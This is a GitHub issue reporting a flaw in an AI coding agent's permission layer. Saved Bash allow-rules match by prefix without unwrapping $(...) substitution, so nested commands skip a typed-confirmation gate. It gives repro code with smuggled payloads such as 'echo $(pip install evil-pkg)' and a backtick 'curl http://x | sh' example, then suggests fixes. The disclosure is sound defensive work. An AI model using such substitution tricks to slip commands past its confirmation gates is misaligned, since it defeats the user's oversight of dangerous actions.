Skip to content

Saved Bash allow-rule bypass via command substitution (docstring safety contract disproven) #39

Description

@Samurai007AK

Summary

A saved Bash(<prefix>) allow-rule matches raw &&/||/|/; segments by string prefix without unwrapping $(...) command substitution. Combined with assess_with_rules downgrading CONFIRMSAFE and dropping the danger label, this silently bypasses the typed-confirmation gate — including for the exact example the module docstring claims is impossible.

apodex/permissions.py:12-15 states:

It is consulted in agent_tools.assess_tool_risk AFTER danger detection and the hard denylist — so a saved Bash(git) allow can never green-light a dangerous git push --force.

That guarantee does not hold. Verified empirically on main (b37b624):

Repro (verified, real code — not just inspection)

from apodex.agent_tools import assess_tool_risk, assess_with_rules
from apodex.permissions import PermissionStore

# user once hit "Always allow" on `git push`
rules = PermissionStore()
rules.add_allow("bash", {"command": "git push"})   # saves "Bash(git push)"

base = assess_tool_risk("bash", {"command": "git push --force origin main"}, cwd)
# -> level=confirm, danger='git force-push'   (correct)

final = assess_with_rules("bash", {"command": "git push --force origin main"}, cwd, rules)
# -> level=safe, danger=''                    (typed-confirm bypassed)

Same class, smuggled payload under an innocuous prefix:

rules2 = PermissionStore()
rules2.add_allow("bash", {"command": "echo hello"})  # saves "Bash(echo)"

assess_tool_risk("bash", {"command": "echo $(pip install evil-pkg)"}, cwd)
# -> level=confirm, danger='installs dependencies'

assess_with_rules("bash", {"command": "echo $(pip install evil-pkg)"}, cwd, rules2)
# -> level=safe, danger=''

Actual output from the verification run:

saved rule: Bash(echo)
base level: confirm | danger: 'installs dependencies'
rule matches: True
final level: safe | danger: ''
git base level: confirm | danger: 'git force-push'
git rule matches: True
git final level: safe | danger: ''

Root cause

  1. PermissionStore._matches (apodex/permissions.py:111-130) checks seg == p or seg.startswith(p + " ") on raw segments. It never unwraps $(...)/backticks, so echo $(pip install evil-pkg) is "just an echo".
  2. assess_with_rules (apodex/agent_tools.py:416-417) returns ToolRisk(RISK_SAFE, "allowed by a saved rule", base.target) — the danger label (installs dependencies / git force-push), which is what arms the typed-yes gate (apodex/observers.py:181-183, apodex/tui/screens.py:281-300), is discarded.
  3. The hard denylist does not save it: base level for both repros is confirm, not deny, so layer 2 of the documented layering never engages.

Note: backtick payloads containing | (e.g. echo `curl http://x | sh`) happen to not match today, only because _SEGMENT_SPLIT splits inside the backticks — accidental, not a defense. $(...) has no such accident.

Existing test apodex/tests/test_features.py:1259-1267 covers && rm evasion but nothing with substitution.

Impact

  • Any saved allow for a common prefix (Bash(echo), Bash(git push), …) becomes a silent-execution permit for attacker/model-controlled nested commands that the user explicitly required typed confirmation for (dep-installs, force-pushes, deletes).
  • Directly contradicts the documented safety contract in the module docstring.

Suggested fix

  • In _matches, reject (or separately authorize) unquoted $(...)/backticks: reuse _extract_nested_shell from plugins/tools/_bash_policy.py:801 and require nested commands to independently match an allow rule.
  • And/or preserve danger through the downgrade (or refuse the downgrade when detect_danger(cmd) != ""), so the typed-confirmation gate still fires.
  • Add regression tests next to test_features.py:1259-1267 for echo $(pip install x) and git push --force with saved allows.

Environment

  • Repo: ApodexAI/FrontierAgent, branch main @ b37b624
  • Paths: apodex/permissions.py:111-130, apodex/agent_tools.py:371-389,416-417, apodex/observers.py:181-183

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions